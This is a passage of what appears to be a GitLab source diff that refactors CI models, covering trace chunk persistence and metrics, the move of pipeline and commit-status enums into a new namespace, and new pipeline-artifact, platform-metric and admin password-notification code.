where('EXISTS (?)', ::Ci::JobArtifact.select(1).where('ci_builds.id = ci_job_artifacts.job_id').merge(query))
end
- scope :with_archived_trace, ->() do
+ scope :with_archived_trace, -> do
with_existing_job_artifacts(Ci::JobArtifact.trace)
end
- scope :without_archived_trace, ->() do
+ scope :without_archived_trace, -> do
where('NOT EXISTS (?)', Ci::JobArtifact.select(1).where('ci_builds.id = ci_job_artifacts.job_id').trace)
end
@@ -139,11 +142,11 @@ module Ci
.includes(:metadata, :job_artifacts_metadata)
end
- scope :with_artifacts_not_expired, ->() { with_downloadable_artifacts.where('artifacts_expire_at IS NULL OR artifacts_expire_at > ?', Time.current) }
- scope :with_expired_artifacts, ->() { with_downloadable_artifacts.where('artifacts_expire_at < ?', Time.current) }
- scope :last_month, ->() { where('created_at > ?', Date.today - 1.month) }
- scope :manual_actions, ->() { where(when: :manual, status: COMPLETED_STATUSES + %i[manual]) }
- scope :scheduled_actions, ->() { where(when: :delayed, status: COMPLETED_STATUSES + %i[scheduled]) }
+ scope :with_artifacts_not_expired, -> { with_downloadable_artifacts.where('artifacts_expire_at IS NULL OR artifacts_expire_at > ?', Time.current) }
+ scope :with_expired_artifacts, -> { with_downloadable_artifacts.where('artifacts_expire_at < ?', Time.current) }
+ scope :last_month, -> { where('created_at > ?', Date.today - 1.month) }
+ scope :manual_actions, -> { where(when: :manual, status: COMPLETED_STATUSES + %i[manual]) }
+ scope :scheduled_actions, -> { where(when: :delayed, status: COMPLETED_STATUSES + %i[scheduled]) }
scope :ref_protected, -> { where(protected: true) }
scope :with_live_trace, -> { where('EXISTS (?)', Ci::BuildTraceChunk.where('ci_builds.id = ci_build_trace_chunks.build_id').select(1)) }
scope :with_stale_live_trace, -> { with_live_trace.finished_before(12.hours.ago) }
@@ -175,7 +178,6 @@ module Ci
end
scope :queued_before, ->(time) { where(arel_table[:queued_at].lt(time)) }
- scope :order_id_desc, -> { order('ci_builds.id DESC') }
scope :preload_project_and_pipeline_project, -> do
preload(Ci::Pipeline::PROJECT_ROUTE_AND_NAMESPACE_ROUTE,
@@ -213,6 +215,10 @@ module Ci
.execute(build)
# rubocop: enable CodeReuse/ServiceClass
end
+
+ def with_preloads
+ preload(:job_artifacts_archive, :job_artifacts, project: [:namespace])
+ end
end
state_machine :status do
@@ -647,6 +653,10 @@ module Ci
!artifacts_expired? && artifacts_file&.exists?
end
+ def locked_artifacts?
+ pipeline.artifacts_locked? && artifacts_file&.exists?
+ end
+
# This method is similar to #artifacts? but it includes the artifacts
# locking mechanics. A new method was created to prevent breaking existing
# behavior and avoid introducing N+1s.
@@ -867,13 +877,17 @@ module Ci
options.dig(:release)&.any?
end
- def hide_secrets(trace)
+ def hide_secrets(data, metrics = ::Gitlab::Ci::Trace::Metrics.new)
return unless trace
- trace = trace.dup
- Gitlab::Ci::MaskSecret.mask!(trace, project.runners_token) if project
- Gitlab::Ci::MaskSecret.mask!(trace, token) if token
- trace
+ data.dup.tap do |trace|
+ Gitlab::Ci::MaskSecret.mask!(trace, project.runners_token) if project
+ Gitlab::Ci::MaskSecret.mask!(trace, token) if token
+
+ if trace != data
+ metrics.increment_trace_operation(operation: :mutated)
+ end
+ end
end
def serializable_hash(options = {})
@@ -945,6 +959,10 @@ module Ci
var[:value]&.to_i if var
end
+ def remove_pending_state!
+ pending_state.try(:delete)
+ end
+
private
def auto_retry
diff --git a/app/models/ci/build_pending_state.rb b/app/models/ci/build_pending_state.rb
new file mode 100644
index 00000000000..45f323adec2
--- /dev/null
+++ b/app/models/ci/build_pending_state.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class Ci::BuildPendingState < ApplicationRecord
+ extend Gitlab::Ci::Model
+
+ belongs_to :build, class_name: 'Ci::Build', foreign_key: :build_id
+
+ enum state: Ci::Stage.statuses
+ enum failure_reason: CommitStatus.failure_reasons
+
+ validates :build, presence: true
+end
diff --git a/app/models/ci/build_trace_chunk.rb b/app/models/ci/build_trace_chunk.rb
index 407802baf09..444742062d9 100644
--- a/app/models/ci/build_trace_chunk.rb
+++ b/app/models/ci/build_trace_chunk.rb
@@ -2,14 +2,17 @@
module Ci
class BuildTraceChunk < ApplicationRecord
- include FastDestroyAll
+ extend ::Gitlab::Ci::Model
+ include ::FastDestroyAll
+ include ::Checksummable
include ::Gitlab::ExclusiveLeaseHelpers
- extend Gitlab::Ci::Model
belongs_to :build, class_name: "Ci::Build", foreign_key: :build_id
default_value_for :data_store, :redis
+ after_create { metrics.increment_trace_operation(operation: :chunked) }
+
CHUNK_SIZE = 128.kilobytes
WRITE_LOCK_RETRY = 10
WRITE_LOCK_SLEEP = 0.01.seconds
@@ -25,6 +28,8 @@ module Ci
fog: 3
}
+ scope :live, -> { redis }
+
class << self
def all_stores
@all_stores ||= self.data_stores.keys
@@ -60,8 +65,6 @@ module Ci
end
end
- ##
- # Data is memoized for optimizing #size and #end_offset
def data
@data ||= get_data.to_s
end
@@ -80,11 +83,11 @@ module Ci
in_lock(*lock_params) { unsafe_append_data!(new_data, offset) }
- schedule_to_persist if full?
+ schedule_to_persist! if full?
end
def size
- @size ||= current_store.size(self) || data&.bytesize
+ @size ||= @data&.bytesize || current_store.size(self) || data&.bytesize
end
def start_offset
@@ -100,35 +103,68 @@ module Ci
end
def persist_data!
- in_lock(*lock_params) do # Write operation is atomic
- unsafe_persist_to!(self.class.persistable_store)
- end
+ in_lock(*lock_params) { unsafe_persist_data! }
+ end
+
+ def schedule_to_persist!
+ return if persisted?
+
+ Ci::BuildTraceChunkFlushWorker.perform_async(id)
+ end
+
+ def persisted?
+ !redis?
+ end
+
+ def live?
+ redis?
+ end
+
+ ##
+ # Build trace chunk is final (the last one that we do not expect to ever
+ # become full) when a runner submitted a build pending state and there is
+ # no chunk with higher index in the database.
+ #
+ def final?
+ build.pending_state.present? &&
+ build.trace_chunks.maximum(:chunk_index).to_i == chunk_index
end
private
- def unsafe_persist_to!(new_store)
+ def get_data
+ # Redis / database return UTF-8 encoded string by default
+ current_store.data(self)&.force_encoding(Encoding::BINARY)
+ end
+
+ def unsafe_persist_data!(new_store = self.class.persistable_store)
return if data_store == new_store.to_s
- current_data = get_data
+ current_data = data
+ old_store_class = current_store
+ current_size = current_data&.bytesize.to_i
- unless current_data&.bytesize.to_i == CHUNK_SIZE
+ unless current_size == CHUNK_SIZE || final?
raise FailedToPersistDataError, 'Data is not fulfilled in a bucket'
end
- old_store_class = current_store
-
self.raw_data = nil
self.data_store = new_store
+ self.checksum = crc32(current_data)
+
+ ##
+ # We need to so persist data then save a new store identifier before we
+ # remove data from the previous store to make this operation
+ # trasnaction-safe. `unsafe_set_data! calls `save!` because of this
+ # reason.
+ #
+ # TODO consider using callbacks and state machine to remove old data
+ #
unsafe_set_data!(current_data)
old_store_class.delete_data(self)
end
- def get_data
- current_store.data(self)&.force_encoding(Encoding::BINARY) # Redis/Database return UTF-8 string as default
- end
-
def unsafe_set_data!(value)
raise ArgumentError, 'New data size exceeds chunk size' if value.bytesize > CHUNK_SIZE
@@ -148,6 +184,8 @@ module Ci
end
current_store.append_data(self, value, offset).then do |stored|
+ metrics.increment_trace_operation(operation: :appended)
+
raise ArgumentError, 'Trace appended incorrectly' if stored != new_size
end
@@ -157,16 +195,6 @@ module Ci
save! if changed?
end
- def schedule_to_persist
- return if data_persisted?
-
- Ci::BuildTraceChunkFlushWorker.perform_async(id)
- end
-
- def data_persisted?
- !redis?
- end
-
def full?
size == CHUNK_SIZE
end
@@ -181,5 +209,9 @@ module Ci
retries: WRITE_LOCK_RETRY,
sleep_sec: WRITE_LOCK_SLEEP }]
end
+
+ def metrics
+ @metrics ||= ::Gitlab::Ci::Trace::Metrics.new
+ end
end
end
diff --git a/app/models/ci/build_trace_chunks/database.rb b/app/models/ci/build_trace_chunks/database.rb
index 3b8e23510d9..ea8072099c6 100644
--- a/app/models/ci/build_trace_chunks/database.rb
+++ b/app/models/ci/build_trace_chunks/database.rb
@@ -29,7 +29,7 @@ module Ci
new_data = truncated_data + new_data
end
- model.raw_data = new_data
+ set_data(model, new_data)
model.raw_data.to_s.bytesize
end
diff --git a/app/models/ci/build_trace_chunks/redis.rb b/app/models/ci/build_trace_chunks/redis.rb
index 0ae563f6ce8..58d50b39c11 100644
--- a/app/models/ci/build_trace_chunks/redis.rb
+++ b/app/models/ci/build_trace_chunks/redis.rb
@@ -41,9 +41,9 @@ module Ci
end
end
- def set_data(model, data)
+ def set_data(model, new_data)
Gitlab::Redis::SharedState.with do |redis|
- redis.set(key(model), data, ex: CHUNK_REDIS_TTL)
+ redis.set(key(model), new_data, ex: CHUNK_REDIS_TTL)
end
end
diff --git a/app/models/ci/daily_build_group_report_result.rb b/app/models/ci/daily_build_group_report_result.rb
index d6617b8c2eb..e6f02f2e4f3 100644
--- a/app/models/ci/daily_build_group_report_result.rb
+++ b/app/models/ci/daily_build_group_report_result.rb
@@ -11,6 +11,8 @@ module Ci
validates :data, json_schema: { filename: "daily_build_group_report_result_data" }
+ scope :with_included_projects, -> { includes(:project) }
+
def self.upsert_reports(data)
upsert_all(data, unique_by: :index_daily_build_group_report_results_unique_columns) if data.any?
end
diff --git a/app/models/ci/job_artifact.rb b/app/models/ci/job_artifact.rb
index 75c3ce98c95..8bbb92e319f 100644
--- a/app/models/ci/job_artifact.rb
+++ b/app/models/ci/job_artifact.rb
@@ -12,8 +12,6 @@ module Ci
include FileStoreMounter
extend Gitlab::Ci::Model
- NotSupportedAdapterError = Class.new(StandardError)
-
ignore_columns :locked, remove_after: '2020-07-22', remove_with: '13.4'
TEST_REPORT_FILE_TYPES = %w[junit].freeze
@@ -163,7 +161,6 @@ module Ci
where(file_type: types)
end
- scope :expired, -> (limit) { where('expire_at < ?', Time.current).limit(limit) }
scope :downloadable, -> { where(file_type: DOWNLOADABLE_TYPES) }
scope :unlocked, -> { joins(job: :pipeline).merge(::Ci::Pipeline.unlocked).order(expire_at: :desc) }
@@ -271,16 +268,6 @@ module Ci
end
end
- def each_blob(&blk)
- unless file_format_adapter_class
- raise NotSupportedAdapterError, 'This file format requires a dedicated adapter'
- end
-
- file.open do |stream|
- file_format_adapter_class.new(stream).each_blob(&blk)
- end
- end
-
def self.archived_trace_exists_for?(job_id)
where(job_id: job_id).trace.take&.file&.file&.exists?
end
@@ -298,10 +285,6 @@ module Ci
private
- def file_format_adapter_class
- FILE_FORMAT_ADAPTERS[file_format.to_sym]
- end
-
def set_size
self.size = file.size
end
diff --git a/app/models/ci/pipeline.rb b/app/models/ci/pipeline.rb
index 7762328d274..47eba685afe 100644
--- a/app/models/ci/pipeline.rb
+++ b/app/models/ci/pipeline.rb
@@ -19,6 +19,8 @@ module Ci
PROJECT_ROUTE_AND_NAMESPACE_ROUTE = {
project: [:project_feature, :route, { namespace: :route }]
}.freeze
+ CONFIG_EXTENSION = '.gitlab-ci.yml'
+ DEFAULT_CONFIG_PATH = CONFIG_EXTENSION
BridgeStatusError = Class.new(StandardError)
@@ -104,15 +106,15 @@ module Ci
after_create :keep_around_commits, unless: :importing?
- # We use `Ci::PipelineEnums.sources` here so that EE can more easily extend
+ # We use `Enums::Ci::Pipeline.sources` here so that EE can more easily extend
# this `Hash` with new values.
- enum_with_nil source: ::Ci::PipelineEnums.sources
+ enum_with_nil source: Enums::Ci::Pipeline.sources
- enum_with_nil config_source: ::Ci::PipelineEnums.config_sources
+ enum_with_nil config_source: Enums::Ci::Pipeline.config_sources
- # We use `Ci::PipelineEnums.failure_reasons` here so that EE can more easily
+ # We use `Enums::Ci::Pipeline.failure_reasons` here so that EE can more easily
# extend this `Hash` with new values.
- enum failure_reason: ::Ci::PipelineEnums.failure_reasons
+ enum failure_reason: Enums::Ci::Pipeline.failure_reasons
enum locked: { unlocked: 0, artifacts_locked: 1 }
@@ -229,7 +231,12 @@ module Ci
end
after_transition any => ::Ci::Pipeline.completed_statuses do |pipeline|
- next unless pipeline.bridge_triggered?
+ pipeline.run_after_commit do
+ ::Ci::Pipelines::CreateArtifactWorker.perform_async(pipeline.id)
+ end
+ end
+
+ after_transition any => ::Ci::Pipeline.completed_statuses do |pipeline|
next unless pipeline.bridge_waiting?
pipeline.run_after_commit do
@@ -254,7 +261,7 @@ module Ci
scope :internal, -> { where(source: internal_sources) }
scope :no_child, -> { where.not(source: :parent_pipeline) }
- scope :ci_sources, -> { where(config_source: ::Ci::PipelineEnums.ci_config_sources_values) }
+ scope :ci_sources, -> { where(source: Enums::Ci::Pipeline.ci_sources.values) }
scope :for_user, -> (user) { where(user: user) }
scope :for_sha, -> (sha) { where(sha: sha) }
scope :for_source_sha, -> (source_sha) { where(source_sha: source_sha) }
@@ -483,6 +490,12 @@ module Ci
end
end
+ def git_commit_timestamp
+ strong_memoize(:git_commit_timestamp) do
+ commit.try(:timestamp)
+ end
+ end
+
def before_sha
super || Gitlab::Git::BLANK_SHA
end
@@ -539,12 +552,6 @@ module Ci
end
# rubocop: enable CodeReuse/ServiceClass
- def mark_as_processable_after_stage(stage_idx)
- builds.skipped.after_stage(stage_idx).find_each do |build|
- Gitlab::OptimisticLocking.retry_lock(build, &:process)
- end
- end
-
def lazy_ref_commit
return unless ::Gitlab::Ci::Features.pipeline_latest?
@@ -647,7 +654,7 @@ module Ci
def config_path
return unless repository_source? || unknown_source?
- project.ci_config_path.presence || '.gitlab-ci.yml'
+ project.ci_config_path_or_default
end
def has_yaml_errors?
@@ -669,8 +676,10 @@ module Ci
messages.select(&:error?)
end
- def warning_messages
- messages.select(&:warning?)
+ def warning_messages(limit: nil)
+ messages.select(&:warning?).tap do |warnings|
+ break warnings.take(limit) if limit
+ end
end
# Manually set the notes for a Ci::Pipeline
@@ -766,6 +775,7 @@ module Ci
variables.append(key: 'CI_COMMIT_TITLE', value: git_commit_full_title.to_s)
variables.append(key: 'CI_COMMIT_DESCRIPTION', value: git_commit_description.to_s)
variables.append(key: 'CI_COMMIT_REF_PROTECTED', value: (!!protected_ref?).to_s)
+ variables.append(key: 'CI_COMMIT_TIMESTAMP', value: git_commit_timestamp.to_s)
# legacy variables
variables.append(key: 'CI_BUILD_REF', value: sha)
@@ -810,11 +820,17 @@ module Ci
all_merge_requests.order(id: :desc)
end
- # If pipeline is a child of another pipeline, include the parent
- # and the siblings, otherwise return only itself and children.
def same_family_pipeline_ids
- parent = parent_pipeline || self
- [parent.id] + parent.child_pipelines.pluck(:id)
+ if ::Gitlab::Ci::Features.child_of_child_pipeline_enabled?(project)
+ ::Gitlab::Ci::PipelineObjectHierarchy.new(
+ base_and_ancestors(same_project: true), options: { same_project: true }
+ ).base_and_descendants.select(:id)
+ else
+ # If pipeline is a child of another pipeline, include the parent
+ # and the siblings, otherwise return only itself and children.
+ parent = parent_pipeline || self
+ [parent.id] + parent.child_pipelines.pluck(:id)
+ end
end
def bridge_triggered?
@@ -858,12 +874,26 @@ module Ci
builds.latest.with_reports(reports_scope)
end
+ def builds_with_coverage
+ builds.with_coverage
+ end
+
def has_reports?(reports_scope)
complete? && latest_report_builds(reports_scope).exists?
end
+ def has_coverage_reports?
+ pipeline_artifacts&.has_code_coverage?
+ end
+
+ def can_generate_coverage_reports?
+ has_reports?(Ci::JobArtifact.coverage_reports)
+ end
+
def test_report_summary
- Gitlab::Ci::Reports::TestReportSummary.new(latest_builds_report_results)
+ strong_memoize(:test_report_summary) do
+ Gitlab::Ci::Reports::TestReportSummary.new(latest_builds_report_results)
+ end
end
def test_reports
@@ -1008,7 +1038,11 @@ module Ci
end
def cacheable?
- Ci::PipelineEnums.ci_config_sources.key?(config_source.to_sym)
+ !dangling?
+ end
+
+ def dangling?
+ Enums::Ci::Pipeline.dangling_sources.key?(source.to_sym)
end
def source_ref_path
@@ -1029,6 +1063,26 @@ module Ci
self.ci_ref = Ci::Ref.ensure_for(self)
end
+ def base_and_ancestors(same_project: false)
+ # Without using `unscoped`, caller scope is also included into the query.
+ # Using `unscoped` here will be redundant after Rails 6.1
+ ::Gitlab::Ci::PipelineObjectHierarchy
+ .new(self.class.unscoped.where(id: id), options: { same_project: same_project })
+ .base_and_ancestors
+ end
+
+ # We need `base_and_ancestors` in a specific order to "break" when needed.
+ # If we use `find_each`, then the order is broken.
+ # rubocop:disable Rails/FindEach
+ def reset_ancestor_bridges!
+ base_and_ancestors.includes(:source_bridge).each do |pipeline|
+ break unless pipeline.bridge_waiting?
+
+ pipeline.source_bridge.pending!
+ end
+ end
+ # rubocop:enable Rails/FindEach
+
private
def add_message(severity, content)
diff --git a/app/models/ci/pipeline_artifact.rb b/app/models/ci/pipeline_artifact.rb
index e7f51977ccd..b6db8cad667 100644
--- a/app/models/ci/pipeline_artifact.rb
+++ b/app/models/ci/pipeline_artifact.rb
@@ -5,33 +5,44 @@
module Ci
class PipelineArtifact < ApplicationRecord
extend Gitlab::Ci::Model
+ include UpdateProjectStatistics
include Artifactable
include FileStoreMounter
-
- FILE_STORE_SUPPORTED = [
- ObjectStorage::Store::LOCAL,
- ObjectStorage::Store::REMOTE
- ].freeze
+ include Presentable
FILE_SIZE_LIMIT = 10.megabytes.freeze
+ EXPIRATION_DATE = 1.week.freeze
+
+ DEFAULT_FILE_NAMES = {
+ code_coverage: 'code_coverage.json'
+ }.freeze
belongs_to :project, class_name: "Project", inverse_of: :pipeline_artifacts
belongs_to :pipeline, class_name: "Ci::Pipeline", inverse_of: :pipeline_artifacts
validates :pipeline, :project, :file_format, :file, presence: true
- validates :file_store, presence: true, inclusion: { in: FILE_STORE_SUPPORTED }
+ validates :file_store, presence: true, inclusion: { in: ObjectStorage::SUPPORTED_STORES }
validates :size, presence: true, numericality: { less_than_or_equal_to: FILE_SIZE_LIMIT }
validates :file_type, presence: true
mount_file_store_uploader Ci::PipelineArtifactUploader
- before_save :set_size, if: :file_changed?
+
+ update_project_statistics project_statistics_name: :pipeline_artifacts_size
enum file_type: {
code_coverage: 1
}
- def set_size
- self.size = file.size
+ def self.has_code_coverage?
+ where(file_type: :code_coverage).exists?
+ end
+
+ def self.find_with_code_coverage
+ find_by(file_type: :code_coverage)
+ end
+
+ def present
+ super(presenter_class: "Ci::PipelineArtifacts::#{self.file_type.camelize}Presenter".constantize)
end
end
end
diff --git a/app/models/ci/pipeline_enums.rb b/app/models/ci/pipeline_enums.rb
deleted file mode 100644
index 9d108ff0fa4..00000000000
--- a/app/models/ci/pipeline_enums.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- module PipelineEnums
- # Returns the `Hash` to use for creating the `failure_reason` enum for
- # `Ci::Pipeline`.
- def self.failure_reasons
- {
- unknown_failure: 0,
- config_error: 1,
- external_validation_failure: 2
- }
- end
-
- # Returns the `Hash` to use for creating the `sources` enum for
- # `Ci::Pipeline`.
- def self.sources
- {
- unknown: nil,
- push: 1,
- web: 2,
- trigger: 3,
- schedule: 4,
- api: 5,
- external: 6,
- # TODO: Rename `pipeline` to `cross_project_pipeline` in 13.0
- # https://gitlab.com/gitlab-org/gitlab/issues/195991
- pipeline: 7,
- chat: 8,
- webide: 9,
- merge_request_event: 10,
- external_pull_request_event: 11,
- parent_pipeline: 12,
- ondemand_dast_scan: 13
- }
- end
-
- # Returns the `Hash` to use for creating the `config_sources` enum for
- # `Ci::Pipeline`.
- def self.config_sources
- {
- unknown_source: nil,
- repository_source: 1,
- auto_devops_source: 2,
- webide_source: 3,
- remote_source: 4,
- external_project_source: 5,
- bridge_source: 6,
- parameter_source: 7
- }
- end
-
- def self.ci_config_sources
- config_sources.slice(
- :unknown_source,
- :repository_source,
- :auto_devops_source,
- :remote_source,
- :external_project_source
- )
- end
-
- def self.ci_config_sources_values
- ci_config_sources.values
- end
-
- def self.non_ci_config_source_values
- config_sources.values - ci_config_sources.values
- end
- end
-end
-
-Ci::PipelineEnums.prepend_if_ee('EE::Ci::PipelineEnums')
diff --git a/app/models/ci/ref.rb b/app/models/ci/ref.rb
index 3d8823728e7..6e9b8416c10 100644
--- a/app/models/ci/ref.rb
+++ b/app/models/ci/ref.rb
@@ -33,8 +33,6 @@ module Ci
state :still_failing, value: 5
after_transition any => [:fixed, :success] do |ci_ref|
- next unless ::Gitlab::Ci::Features.keep_latest_artifacts_for_ref_enabled?(ci_ref.project)
-
ci_ref.run_after_commit do
Ci::PipelineSuccessUnlockArtifactsWorker.perform_async(ci_ref.last_finished_pipeline_id)
end
diff --git a/app/models/ci/runner.rb b/app/models/ci/runner.rb
index 00ee45740bd..86879b9dc68 100644
--- a/app/models/ci/runner.rb
+++ b/app/models/ci/runner.rb
@@ -52,7 +52,7 @@ module Ci
has_many :runner_namespaces, inverse_of: :runner
has_many :groups, through: :runner_namespaces
- has_one :last_build, ->() { order('id DESC') }, class_name: 'Ci::Build'
+ has_one :last_build, -> { order('id DESC') }, class_name: 'Ci::Build'
before_save :ensure_token
diff --git a/app/models/ci_platform_metric.rb b/app/models/ci_platform_metric.rb
new file mode 100644
index 00000000000..5e6e3eddce9
--- /dev/null
+++ b/app/models/ci_platform_metric.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+class CiPlatformMetric < ApplicationRecord
+ include BulkInsertSafe
+
+ PLATFORM_TARGET_MAX_LENGTH = 255
+
+ validates :recorded_at, presence: true
+ validates :platform_target,
+ exclusion: [nil], # allow '' (the empty string), but not nil
+ length: { maximum: PLATFORM_TARGET_MAX_LENGTH }
+ validates :count,
+ presence: true,
+ numericality: { only_integer: true, greater_than: 0 }
+
+ CI_VARIABLE_KEY = 'AUTO_DEVOPS_PLATFORM_TARGET'
+ ALLOWED_TARGETS = %w[ECS FARGATE].freeze
+
+ def self.insert_auto_devops_platform_targets!
+ recorded_at = Time.zone.now
+
+ # This work can NOT be done in-database because value is encrypted.
+ # However, for 'AUTO_DEVOPS_PLATFORM_TARGET', these values are only
+ # encrypted as a matter of course, rather than as a need for secrecy.
+ # So this is not a security risk, but exposing other keys possibly could be.
+ variables = Ci::Variable.by_key(CI_VARIABLE_KEY)
+
+ counts = variables.group_by(&:value).map do |value, variables|
+ # While this value is, in theory, not secret. A user could accidentally
+ # put a secret in here so we need to make sure we filter invalid values.
+ next unless ALLOWED_TARGETS.include?(value)
+
+ count = variables.count
+ self.new(recorded_at: recorded_at, platform_target: value, count: count)
+ end.compact
+
+ bulk_insert!(counts, validate: true)
+ end
+end
diff --git a/app/models/clusters/agent.rb b/app/models/clusters/agent.rb
index c21759a3c3b..874415e7bf4 100644
--- a/app/models/clusters/agent.rb
+++ b/app/models/clusters/agent.rb
@@ -8,6 +8,8 @@ module Clusters
has_many :agent_tokens, class_name: 'Clusters::AgentToken'
+ scope :with_name, -> (name) { where(name: name) }
+
validates :name,
presence: true,
length: { maximum: 63 },
diff --git a/app/models/clusters/applications/prometheus.rb b/app/models/clusters/applications/prometheus.rb
index 216bbbc1c5a..dd6a4144608 100644
--- a/app/models/clusters/applications/prometheus.rb
+++ b/app/models/clusters/applications/prometheus.rb
@@ -5,7 +5,7 @@ module Clusters
class Prometheus < ApplicationRecord
include PrometheusAdapter
- VERSION = '9.5.2'
+ VERSION = '10.4.1'
self.table_name = 'clusters_applications_prometheus'
@@ -106,7 +106,9 @@ module Clusters
proxy_url = kube_client.proxy_url('service', service_name, service_port, Gitlab::Kubernetes::Helm::NAMESPACE)
# ensures headers containing auth data are appended to original k8s client options
- options = kube_client.rest_client.options.merge(headers: kube_client.headers)
+ options = kube_client.rest_client.options
+ .merge(prometheus_client_default_options)
+ .merge(headers: kube_client.headers)
Gitlab::PrometheusClient.new(proxy_url, options)
rescue Kubeclient::HttpError, Errno::ECONNRESET, Errno::ECONNREFUSED, Errno::ENETUNREACH
# If users have mistakenly set parameters or removed the depended clusters,
diff --git a/app/models/clusters/applications/runner.rb b/app/models/clusters/applications/runner.rb
index e99ed03852a..4983de83800 100644
--- a/app/models/clusters/applications/runner.rb
+++ b/app/models/clusters/applications/runner.rb
@@ -3,7 +3,7 @@
module Clusters
module Applications
class Runner < ApplicationRecord
- VERSION = '0.19.3'
+ VERSION = '0.20.1'
self.table_name = 'clusters_applications_runners'
diff --git a/app/models/clusters/cluster.rb b/app/models/clusters/cluster.rb
index 63aebdf1bdb..b94ec3c6dea 100644
--- a/app/models/clusters/cluster.rb
+++ b/app/models/clusters/cluster.rb
@@ -99,6 +99,7 @@ module Clusters
delegate :available?, to: :application_ingress, prefix: true, allow_nil: true
delegate :available?, to: :application_prometheus, prefix: true, allow_nil: true
delegate :available?, to: :application_knative, prefix: true, allow_nil: true
+ delegate :available?, to: :application_elastic_stack, prefix: true, allow_nil: true
delegate :external_ip, to: :application_ingress, prefix: true, allow_nil: true
delegate :external_hostname, to: :application_ingress, prefix: true, allow_nil: true
diff --git a/app/models/clusters/instance.rb b/app/models/clusters/instance.rb
index 8c9d9ab9ab1..94fadace01c 100644
--- a/app/models/clusters/instance.rb
+++ b/app/models/clusters/instance.rb
@@ -7,7 +7,7 @@ module Clusters
end
def feature_available?(feature)
- ::Feature.enabled?(feature, default_enabled: true)
+ ::Feature.enabled?(feature, type: :licensed, default_enabled: true)
end
def flipper_id
diff --git a/app/models/clusters/providers/aws.rb b/app/models/clusters/providers/aws.rb
index 86869361ed8..35e8b751b3d 100644
--- a/app/models/clusters/providers/aws.rb
+++ b/app/models/clusters/providers/aws.rb
@@ -37,7 +37,7 @@ module Clusters
greater_than: 0
}
- validates :key_name, :region, :instance_type, :security_group_id, length: { in: 1..255 }
+ validates :kubernetes_version, :key_name, :region, :instance_type, :security_group_id, length: { in: 1..255 }
validates :subnet_ids, presence: true
def nullify_credentials
diff --git a/app/models/commit.rb b/app/models/commit.rb
index 4f18ece9e50..5e0fceb23a4 100644
--- a/app/models/commit.rb
+++ b/app/models/commit.rb
@@ -221,12 +221,16 @@ class Commit
description.present?
end
+ def timestamp
+ committed_date.xmlschema
+ end
+
def hook_attrs(with_changed_files: false)
data = {
id: id,
message: safe_message,
title: title,
- timestamp: committed_date.xmlschema,
+ timestamp: timestamp,
url: Gitlab::UrlBuilder.build(self),
author: {
name: author_name,
diff --git a/app/models/commit_status.rb b/app/models/commit_status.rb
index 8aba74bedbc..2f0596c93cc 100644
--- a/app/models/commit_status.rb
+++ b/app/models/commit_status.rb
@@ -32,6 +32,8 @@ class CommitStatus < ApplicationRecord
where(allow_failure: true, status: [:failed, :canceled])
end
+ scope :order_id_desc, -> { order('ci_builds.id DESC') }
+
scope :exclude_ignored, -> do
# We want to ignore failed but allowed to fail jobs.
#
@@ -77,9 +79,9 @@ class CommitStatus < ApplicationRecord
merge(or_conditions)
end
- # We use `CommitStatusEnums.failure_reasons` here so that EE can more easily
+ # We use `Enums::CommitStatus.failure_reasons` here so that EE can more easily
# extend this `Hash` with new values.
- enum_with_nil failure_reason: ::CommitStatusEnums.failure_reasons
+ enum_with_nil failure_reason: Enums::CommitStatus.failure_reasons
##
# We still create some CommitStatuses outside of CreatePipelineService.
@@ -199,7 +201,14 @@ class CommitStatus < ApplicationRecord
end
def group_name
- name.to_s.gsub(%r{\d+[\s:/\\]+\d+\s*}, '').strip
+ # 'rspec:linux: 1/10' => 'rspec:linux'
+ common_name = name.to_s.gsub(%r{\d+[\s:\/\\]+\d+\s*}, '')
+
+ # 'rspec:linux: [aws, max memory]' => 'rspec:linux'
+ common_name.gsub!(%r{: \[.*, .*\]\s*\z}, '')
+
+ common_name.strip!
+ common_name
end
def failed_but_allowed?
diff --git a/app/models/commit_status_enums.rb b/app/models/commit_status_enums.rb
deleted file mode 100644
index ad90929b8fa..00000000000
--- a/app/models/commit_status_enums.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-# frozen_string_literal: true
-
-module CommitStatusEnums
- # Returns the Hash to use for creating the `failure_reason` enum for
- # `CommitStatus`.
- def self.failure_reasons
- {
- unknown_failure: nil,
- script_failure: 1,
- api_failure: 2,
- stuck_or_timeout_failure: 3,
- runner_system_failure: 4,
- missing_dependency_failure: 5,
- runner_unsupported: 6,
- stale_schedule: 7,
- job_execution_timeout: 8,
- archived_failure: 9,
- unmet_prerequisites: 10,
- scheduler_failure: 11,
- data_integrity_failure: 12,
- forward_deployment_failure: 13,
- insufficient_bridge_permissions: 1_001,
- downstream_bridge_project_not_found: 1_002,
- invalid_bridge_trigger: 1_003,
- bridge_pipeline_is_child_pipeline: 1_006,
- downstream_pipeline_creation_failed: 1_007,
- secrets_provider_not_found: 1_008
- }
- end
-end
-
-CommitStatusEnums.prepend_if_ee('EE::CommitStatusEnums')
diff --git a/app/models/concerns/admin_changed_password_notifier.rb b/app/models/concerns/admin_changed_password_notifier.rb
new file mode 100644
index 00000000000..f6c2abc7e0f
--- /dev/null
+++ b/app/models/concerns/admin_changed_password_notifier.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module AdminChangedPasswordNotifier
+ # This module is responsible for triggering the `Password changed by administrator` emails
+ # when a GitLab administrator changes the password of another user.
+
+ # Usage
+ # These emails are disabled by default and are never trigerred after updating the password, unless
+ # explicitly specified.
+
+ # To explicitly trigger this email, the `send_only_admin_changed_your_password_notification!`
+ # method should be called, so like:
+
+ # user = User.find_by(email: 'hello@example.com')
+ # user.send_only_admin_changed_your_password_notification!
+ # user.password = user.password_confirmation = 'new_password'
+ # user.save!
+
+ # The `send_only_admin_changed_your_password_notification` has 2 responsibilities.
+ # It prevents triggering Devise's default `Password changed` email.
+ # It trigggers the `Password changed by administrator` email.
+
+ # It is important to skip sending the default Devise email when sending out `Password changed by administrator`
+ # email because we should not be sending 2 emails for the same event,
+ # hence the only public API made available from this module is `send_only_admin_changed_your_password_notification!`
+
+ # There is no public API made available to send the `Password changed by administrator` email,
+ # *without* skipping the default `Password changed` email, to prevent the problem mentioned above.
+
+ extend ActiveSupport::Concern
+
+ included do
